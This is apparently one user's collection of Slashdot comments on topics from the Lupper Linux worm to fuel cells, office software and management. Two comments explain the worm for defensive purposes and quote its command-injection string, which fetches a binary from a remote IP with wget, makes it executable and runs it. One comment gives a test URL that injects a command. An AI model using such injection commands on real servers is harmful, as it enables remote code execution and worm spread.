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  1. Re:Sadly a preview of things to come because... on Linux Lupper.Worm In the WIld · · Score: 2, Insightful
    Hears the way I understand it, the problem is some applications don't properly limit what programs can be run from a web browser
    if for example type this into my browser
    http://example.com/cgi/includer.cgi?'echo 'bingo''
    and I see bingo in my browser example.com would probably be vulnerable, the worm presently uses a linux program wget (wget is a program that downloads files from a web server) to download the payload to the vulnerable machine, make it executeable with a chmod +x and runs it. When the worm runs, it searches for vulnerable machines on the network and and does the same things to them.

    any RPC, Remote Procedure Protocol, has big impact on security, especaly commands that can change directories, download files, or make a file executable.
  2. Re:PHP exploit, not directly a linux problem? on Linux Lupper.Worm In the WIld · · Score: 1

    I've found examples of the exploit, basicaly it a bash command injection into the vulnerable server so it really doesn't run in windows, it says begin, it cd /tmp, it downloads a payload with wget, does a chmod +x /tmp/lupii, then runs lupii as user nobody. luppi will not run in windows as far as I can tell, and the commands don't work in windows, but I think if the basic XML-RPC vulnerability existed on your windows machine, they'd have something far worse than lupii to install at hand.

  3. Re:It's not Windows on Linux Lupper.Worm In the WIld · · Score: 1

    first you must Disable the System Restore Utility; yup that's right the wipeing and reinstall applies to windows.

  4. Re:Remarkably Useless page. on Linux Lupper.Worm In the WIld · · Score: 4, Insightful

    step one go to securityfocus and update all of the applications listed on your system.
    Symptoms
    Presence of the following file:
    * /tmp/lupii
    One of the following ports are listening:
            * UDP 7111
            * UDP 7222

    so running su -c"netstat --listening --extend --program" tells you if its even running by listing what listening to any port such as UDP 7111 7222
    then it would be easy to
    su -c"kill -9 pid-of-lupii" su -c"rm /tmp/lupii" su -c"touch tmp/lupii"

    the worm appearent does this
    echo '_begin_';echo `cd /tmp;wget xx.xx.193.244/lupii;chmod +x lupii;./lupii xx.xx.193.244 `;echo '_end_';exit;/*
    so unless your server has a vulnerability that allows privailige escalation from nobody its stuck in tmp directories or possibly in your html directories.

  5. Re:CONTINUE: on Linux Lupper.Worm In the WIld · · Score: 2, Insightful

    Would you accept the same excuse for IIS?
    FTA I don't see where it a linux worm, or even an appache worm it's primarily attacking php scripts even then it's only capable of attacking php scripts in servers that are configured to allow 2 very well known security configuration flaws and one that's recomemded against. NOTE the windows ME-XP instructions on the page.

  6. Re:Simple on Best Way to Manage Geeks? · · Score: 1

    well lets look at it logicaly,
    1. cave-man weights in at about 170 lbs (77 Kg)
    2. cave-woman weights in at about 110 lbs (50 Kg)
    3. We are still here
    therfore the chances that you are going to manipulate a woman into doing something she doesn't want to be manipulated into are pretty slim.

    Some people want to be manipulated into casual sex, it lets them do it without feeling to slutty about themselves. You'll get farther in live if you look for win-win situations than if you only see win-lose situations. People only object to manipulation when the cost/benifit ratio is unfavorable to then.

  7. Re:Clearing up some misconceptions on Open Source Design in risk? · · Score: 1
    Aaron by his statement wrote most of the php code that ran, and perhaps crashed the site. That means that he had the user name and password for the site, and the user name and password for the database; because if your writing code for a website eventualy you have to upload the code to the website so you have FTP access bothways, and for the database
    mysqldump -hyourmachine.phpwebhosting.com -uUsername -pPasswd OSWD >DatabaseBackUp.sql
    works wonders. I've used phpwebhosting in the past and you can connect to the MySQL server from outside, once some test code on my local machine, was still connecting to the database on the production site, that one took me a while to figure out :(. If your going to do the work, you better do the back-ups either before you upload or after. phpwebhosting was unresponsive to me also, they wouldn't even answer an email that said, "where can I send you a check?" !
  8. Re:Carrot and Stick is the key on AU Government To Pilot Target Zombies · · Score: 1

    Blocking 25 would help, but you can't do that unless you're a monopoly.
    That depends on how you define monoply, if you define it as the only ISP that a user is subscribed to, you can block all you want.
    If example.com wants to block port 25 to any computer except mail.example.com it would effect very few users. I would think that off by default would be a good policy for most ports, if I want an unusual port turned on, I'd be happy to explain why and even take a test to demonstrate competency to admin services on that port.

  9. Re:No regulation for me. on AU Government To Pilot Target Zombies · · Score: 1

    Pig Hogger isn't a hillbilly, hillbillies are at least american, often fiercely patriotic but a bit paranoid of a big-central US government. Pig Hogger is European I forgot which nationality, and a knee-jerk anti-american. He's the only person who's earned a permant place on my enemies list.

  10. Re:Monopolies on Google Striking Fear into the Corporate Masses · · Score: 1

    your post makes a lot of sense, infact if you change every instance of the word corporate, with union, it still makes sense, at least historicaly. Anymore we're seeing less of the soleless scum fucks on both sides and more cooperation. In my area one union is actualy running ads on radio and TV promoting both the union and the contractors hiring them to the consumers. The union even has a program of extending the normal warentees for their union made goods and services at no additional cost to either the contractors or the employer.

    If you realy think Walmart is somekind of vampiric profit sucking monster, you should be buying some of their stock; at least then you'd have a vote.

  11. Re:Monopolies on Google Striking Fear into the Corporate Masses · · Score: 1

    I can't begin to tell you how often I have wanted to price-compare Best Buy vs. Staples vs. Circuit City vs. OfficeMax when standing in any one of those stores.
    That is not as effective as you would think, especialy on big ticket items. These guys will price match on same models without hesitation, but they also have the manufacturers, custom make models for them exclusively, even if the only diference is the model number printed on the lable. That means in many cases its still up to the store policy and the ability of the customer to bargin.

    The ability to check prices on same models, and price/feature in the store just levels the playing field a bit, the saleman knows before the doors open.

  12. Re:Why $500? on Hydrogen Fuel Cells Hit the Road · · Score: 1

    Seems like paying to work to me; if they want a critic hire one. Hope nobody at walmarts reads this article, they might get few ideas.

  13. Re:Nice on Hydrogen Fuel Cells Hit the Road · · Score: 1

    boy they don't know, but guess what, if they think halite(sodium chloride salt) eats a car, wait until they see what calcium chloride does to it! Calcium chloride will absorb moisture from the air, so it's stay corrosive until it's gone, halite will not corrode when it's dry.

  14. Re:Hybrids are a Load of Crap on Hydrogen Fuel Cells Hit the Road · · Score: 1

    you forgot to mention the the main waste product of ethanol production, distiller's dried grain, is excellent cattle feed; and most corn is field corn grown to feed cattle anyways. Calling that a bogus argument would be debatable because the farmers would be spending energy to grow the corn with or without ethanol production in the middle.

  15. Re:Hybrids are a Load of Crap on Hydrogen Fuel Cells Hit the Road · · Score: 1

    TFA is about a fuel-cell, more like a refillable battery, not an hydrogen burning internal combustion engine so there are no NOx. Most of smog is peroxidised hydrocarbond anyways.

  16. Re:Nice on Hydrogen Fuel Cells Hit the Road · · Score: 2, Informative

    There are places in the United States where it gets seriously cold in the winter, the car batteries sit on top of a heating pad and are trickle charged constantly or they just will not be able to turn the engine over, the engines have either block heaters, or synthetic engine oil because normal mineral oils turn to jelly overnight. The parking meters have electrical outlets so drivers can plug in their cars while shopping. There are some places that are insanely cold where you start your engine in the fall and only shut it off in spring.

  17. Re:Nice on Hydrogen Fuel Cells Hit the Road · · Score: 1

    Once heard a story about two fueding college professors, one was sitting in on the other's lecture and heard the lecturer say that the interior of the sun was 35 million degrees, so he asked snidely if that was Kelvin or Celsius.

  18. Re:To those who doubt the paranormal on Is Your Office Haunted? · · Score: 1

    There have been several occasions when I was working alone late at night in the office, that I'd heard and saw out of the corner of my eye someone moving, that was so real seeming that I had to search the whole office just to make sure someone hadn't broken in. Now I'm used to creepy sounds at night, that big flat roof absorbs a lot of heat during a day, and as it slowly cools at night, it gives off a lot spooky sounds; but every once in a while something genuinaly spooky happens to give me a delicious adrenaline rush. The ingrate never seems willing to any any work woth or for me in exchange for an occasional scare.

  19. Re:Backups? on Fire Destroys Southampton Fibre-Optics Center · · Score: 1

    It may not have been insurable, or insurance may have been inappropriate. In a cutting-edge research lab, the equipment may become obsolete, in a very short life cycle so it's not hard to imagine that the cost of insurance for five years might exceed the cost of the equipment of the same period. I'm sure in most commercial fab plants, fire suppression is specificaly designed for the plant, and department, I doubt it's a one-size fits-all deal

  20. Re:Halon doesn't work by displacing oxygen on Fire Destroys Southampton Fibre-Optics Center · · Score: 1

    Not a chemist here but I understood that the reaction h+ + Ha- -> hHa was also endo-thermic which also effectivly scavenged enough heat that it tended to reduce the fire to temperature that were below the ignition point. Any problems with toxicity were associated to mostly urban myths and possible burns from breathing hydrogen halide acid vapors in the air.

  21. Re:LaTeX on Why Do People Switch To Linux? · · Score: 1

    I've had problems getting MiKTeX to recognise new packages, and using LaTeX is windows is weird feeling, kinky but unpleasent.

  22. Re:"Essentially" the same data? on OpenOffice Bloated? · · Score: 1

    Even when I use windows, and start to get a mozilla, a couple instances of Wordpad, a command prompt for LaTeX and the DVI viewer all going at the same time, the window-space feels cramped and uncomfortable and it's hard to switch between apps without cycling through ones I don't want.

  23. Re:"Essentially" the same data? on OpenOffice Bloated? · · Score: 1

    if there is a way I don't know it, and the reason that it was appearent that the book was done in Word was because the author's didn't either, 4 sections, word, excel, powerpoint and access, each individual page numbered, and I suspect that the chapters were numbered begining at 99 type of a thing. When they edited a page I'm sure that it made a mess of the numbering; Word and OO are word-processors, not document processors. When I'm doing something serious i.e. more than a page or two it's LaTeX for me.

    I found it interest that the book was a Shelly and Cashman series book, those two taught me Fortran, Cobol and RPG II many moons ago!

  24. Re:"Essentially" the same data? on OpenOffice Bloated? · · Score: 1

    My wife took a college class on Office 2003, and it was obvious that the authors not only wrote the book in Word so they get points for eating their own dog food, but had split each chapter into a doc; so it appears that even the experts have trouble getting around this. Another thing I notice about windozers is they most tend to use one app at a time and shut their computers off; this makes them more sensitive to load times and boot times. When I fire my Linux machine up, I don't care about boot times because when it's up, it stays up for months. The same with applications, I frequently have four or five applications running for days or weeks.

  25. Re:Desktop power not going up much? on Engineers Report Breakthrough in Laser Beam Tech · · Score: 1

    I once paid almost $500 for a scanner, now dell gives them a way if you pay shipping and ink or vica versa, basicaly you can easily buy a printer/scanner for what you'd have paid for just shipping a few years ago.